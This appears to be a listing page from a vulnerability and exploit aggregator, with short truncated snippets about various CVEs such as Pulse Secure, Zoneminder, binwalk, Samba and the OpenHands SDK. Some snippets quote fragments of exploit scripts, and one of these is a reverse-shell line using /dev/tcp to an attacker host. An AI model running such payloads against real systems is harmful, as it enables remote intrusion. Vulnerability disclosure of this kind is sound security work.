CVE-2025-13833

A vulnerability exists in SecureConnector for Windows involving insecure TLS fingerprint validation . When the "Additional Appliance Connections" setting is enabled and the configuration file contains more than three trusted-server entries, the agent may accept sessions with malicious servers if ...

CVE-2021-22893_HoneyPoC2

CVE-2021-22893 THIS IS NOT A REAL EXPLOIT IT IS A HONEYPOC https://blog.zsec.uk/cve-2020-1350-honeypoc/ Proof-of-Concept PoC script to exploit Pulse Secure CVE-2021-22893. DO NOT RUN THIS. Usage Achieves RCE on Pulse Secure VPNs chmod +x exploit.sh ./exploit.sh 10.0.0.1 ./exploit.sh -l ./exploit....

zoneminder-snapshots-rce-poc

Zoneminder Unauthenticated RCE via Snapshots CVE-2023-26035 POC This is a script written in Python that allows the exploitation of the Zoneminder's security flaw described in CVE-2023-26035. The system is vulnerable in versions preceding 1.36.33 and 1.37.33. Usage Clone the repository to your...

CVE-2026-115915

vLLM is an inference and serving engine for large language models. Prior to 0.32.0, ImageMediaIO passes attacker-controlled image bytes to Pillow through Image.openBytesIOdata without restricting decoder selection, and the MIME label does not constrain the selected format. Image-capable request...

CVE-2026-111497: Critical out-of-bounds write in the Node.js Brotli decoder

Overview On October 21, 2026, the Node.js Project published a security advisory for CVE-2026-111497, an out-of-bounds write in the Brotli decoder bundled with Node.js. The vulnerability affects the Node.js 26.x, 24.x, and 22.x release lines. Node.js rates the issue High, while Google, the CVE...

Open eClass 3.15 - Remote Code Execution (CVE-2024-26503)

CVE-2024-26503: authenticated unrestricted file upload in /modules/admin/certbadge.php stores a PHP webshell under /courses/userprogressdata/badgetemplates/. !/usr/bin/env python3 -- coding: utf-8 -- """Open eClass CVE-2024-26503 authenticated certbadge icon upload RCE.""" from future import...

CVE-2026-115915

vLLM is an inference and serving engine for large language models. Prior to 0.32.0, ImageMediaIO passes attacker-controlled image bytes to Pillow through Image.openBytesIOdata without restricting decoder selection, and the MIME label does not constrain the selected format. Image-capable request...

CVE-2022-24442

CVE-2022-24442: FreeMarker Server-Side Template Injection in JetBrains YouTrack By inserting malicious content in the Notification FTL files, an attacker may perform SSTI Server-Side Template Injection attacks, which can leverage FreeMarker exposed objects to bypass restrictions and obtain RCE...

binwalk CVE-2022-4510 PFS traversal RCE

CVE-2022-4510 binwalk & /dev/tcp/lhost/lport 0&1",\n stdin=subprocess.DEVNULL...

OpenNetAdmin CVE-2019-25065 xajax RCE

CVE-2019-25065 OpenNetAdmin = 18.1.1: unauthenticated command injection via xajaxargs in windowsubmit requests. !/usr/bin/env python3 -- coding: utf-8 -- """OpenNetAdmin CVE-2019-25065 unauthenticated xajax command injection.""" from future import annotations import re import time from kittysploi...

Samba CVE-2007-2447 usermap script RCE

CVE-2007-2447 Samba 3.0.20: SMB Session Setup username is passed unsanitized to username map script when configured — shell injection. !/usr/bin/env python3 -- coding: utf-8 -- """Samba CVE-2007-2447 username map script command injection.""" from future import annotations import socket import tim...

Adobe ColdFusion CVE-2009-2265 FCKeditor upload RCE

CVE-2009-2265: unauthenticated FCKeditor upload.cfm with null-byte CurrentFolder bypass drops JSP under /userfiles/file/ for cmd execution. !/usr/bin/env python3 -- coding: utf-8 -- """Adobe ColdFusion 8 CVE-2009-2265 FCKeditor unauth upload RCE.""" from future import annotations from kittysploit...

CVE-2026-112346

OpenHands Software Agent SDK before 1.52.0 contains an unauthenticated remote code execution vulnerability where the DockerWorkspace and Apptainer workspace launchers bind the sandbox agent server to all network interfaces 0.0.0.0 with an empty sessionapikeys list, disabling authentication by...

Stutsfi

Stutsfi An exploit for CVE-2017-5638 Remote Code Execution RCE Vulnerability in Apache Struts 2...

CVE-2026-112346 OpenHands Software Agent SDK < 1.52.0 Unauthenticated Sandbox Agent Server RCE

OpenHands Software Agent SDK before 1.52.0 contains an unauthenticated remote code execution vulnerability where the DockerWorkspace and Apptainer workspace launchers bind the sandbox agent server to all network interfaces 0.0.0.0 with an empty sessionapikeys list, disabling authentication by...

CVE-2026-112346 OpenHands Software Agent SDK < 1.52.0 Unauthenticated Sandbox Agent Server RCE

OpenHands Software Agent SDK before 1.52.0 contains an unauthenticated remote code execution vulnerability where the DockerWorkspace and Apptainer workspace launchers bind the sandbox agent server to all network interfaces 0.0.0.0 with an empty sessionapikeys list, disabling authentication by...

CVE-2026-112346

OpenHands Software Agent SDK before 1.52.0 contains an unauthenticated remote code execution vulnerability where the DockerWorkspace and Apptainer workspace launchers bind the sandbox agent server to all network interfaces 0.0.0.0 with an empty sessionapikeys list, disabling authentication by...

EUVD-2026-109918

OpenHands Software Agent SDK before 1.52.0 contains an unauthenticated remote code execution vulnerability where the DockerWorkspace and Apptainer workspace launchers bind the sandbox agent server to all network interfaces 0.0.0.0 with an empty sessionapikeys list, disabling authentication by...

CVE-2026-112346

The OpenHands Software Agent SDK (versions before 1.52.0 ) is vulnerable to an unauthenticated Remote Code Execution (RCE) . The issue stems from the DockerWorkspace and Apptainer workspace launchers binding the sandbox agent server to all network interfaces (0.0.0.0 ) while using an empty sessio...

CVE-2026-77052

boneIO Black exposes a Node-RED instance without authentication at the /nodered/ path through a Caddy reverse proxy. The Node-RED Admin API allows deploying flows that can execute arbitrary system commands. An unauthenticated attacker on the local network can deploy a malicious flow to achieve...